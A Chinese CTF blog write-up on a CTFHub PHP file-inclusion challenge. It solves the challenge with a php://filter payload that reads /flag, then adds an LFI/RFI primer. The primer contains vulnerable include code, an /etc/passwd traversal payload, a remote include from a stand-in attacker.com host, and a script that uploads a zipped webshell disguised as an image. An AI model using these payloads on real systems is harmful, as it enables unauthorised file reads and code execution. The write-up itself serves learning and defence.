CTFHUB-技能树-Web题-RCE(远程代码执行)-文件包含—php://input—读取源代码

CTFHUB-技能树-Web题-RCE(远程代码执行)-文件包含—php://input—读取源代码

文件包含—php://input—读取源代码
解题方法:

首先观察代码

在这里插入图片描述

file的前六个字母要是php://

而且也没有木马文件可以用,但是它说flag在 /flag当中

那么我们就用到了php://filter伪协议,它用来用于读取源码

php://filter 参数描述
resource=<要过滤的数据流>必须项。它指定了你要筛选过滤的数据流。
read=<读链的过滤器>可选项。可以设定一个或多个过滤器名称,以管道符(*\*)分隔。
write=<写链的过滤器>可选项。可以设定一个或多个过滤器名称,以管道符(\)分隔。
<; 两个链的过滤器>任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。

比如

php://filter/resource=[文件名]读取文件源码

而它说flag在 /flag当中那么我们直接

?file=php://filter/resource=/flag

在这里插入图片描述

### CTFHub 文件包含漏洞 利用与防御 #### 背景介绍 文件包含漏洞是一种常见的 Web 应用程序安全漏洞,主要存在于基于 PHP 的服务器端脚本语言中。该漏洞允许攻击者通过指定路径的方式,在目标应用中加载并执行恶意文件的内容。这可能导致远程代码执行 (RCE),进而使攻击者完全控制受害者的服务器环境。 #### 漏洞原理 当应用程序未对用户输入进行严格过滤时,可能会接受来自用户的任意文件名或 URL 并尝试将其作为参数传递给 `include` 或 `require` 函数。如果这些函数被滥用,则可能引入本地文件包含 (LFI, Local File Inclusion)远程文件包含 (RFI, Remote File Inclusion) 攻击向量[^3]。 #### 实践案例分析 ##### 1. **本地文件包含** 在某些情况下,开发者会错误地依赖于未经验证的动态变量来决定要包含哪个配置或其他类型的资源文件。例如: ```php <?php $file = $_GET['file']; include($file . '.php'); ?> ``` 上述代码片段存在明显的安全隐患,因为它允许攻击者通过调整 GET 请求中的 `file` 参数注入其他有效载荷。比如访问 `/vulnerable_page.php?file=../../etc/passwd%00` 可能暴露系统密码数据库的信息[^2]。 ##### 2. **远程文件包含** 对于支持 HTTP 协议请求的场景下,默认开启 allow_url_fopen 配置项或者启用了 cURL 扩展库的情况下,可以实现跨站点调用功能。这意味着即使无法直接写入物理磁盘上的新脚本文件,也可以间接引用网络上托管好的 payload 来完成同样的目的。 ```php <?php $url = 'http://attacker.com/malicious_code.txt'; include $url; ?> ``` #### 防御措施建议 针对此类威胁采取有效的缓解策略至关重要: - 对所有外部可控的数据实施白名单机制而非黑名单模式; - 禁止使用危险的核心方法如 include(), require() ,改用更安全替代品; - 关闭不必要的特性开关像 php.ini 中设置 disable_functions="passthru,exec,system,chroot,..."; - 定期审查源码质量以及第三方组件安全性评估报告; 此外还需注意的是备份管理不当也可能引发类似后果,因为许多 web server 默认不会解析扩展名为 bak 的副本文档,所以它们往往能够绕过常规防护层而被公开下载下来[^4]。 最后值得注意的一个技巧是在实际竞赛环境中经常结合文件上传接口来进行综合测试。例如将含有木马指令序列打包成 zip 归档后再伪装成图片形式提交上去之后再设法触发解压过程达到最终效果[^5]. ```python import requests files = {'upload': ('shell_dir_zip.png', open('shell_dir.zip', 'rb'))} response = requests.post(url='target_upload_endpoint', files=files) print(response.text) ``` 以上就是围绕 CTFHub 上有关文件包含漏洞相关内容整理出来的知识点总结及其对应的实际操作指南说明。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

python炒粉

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值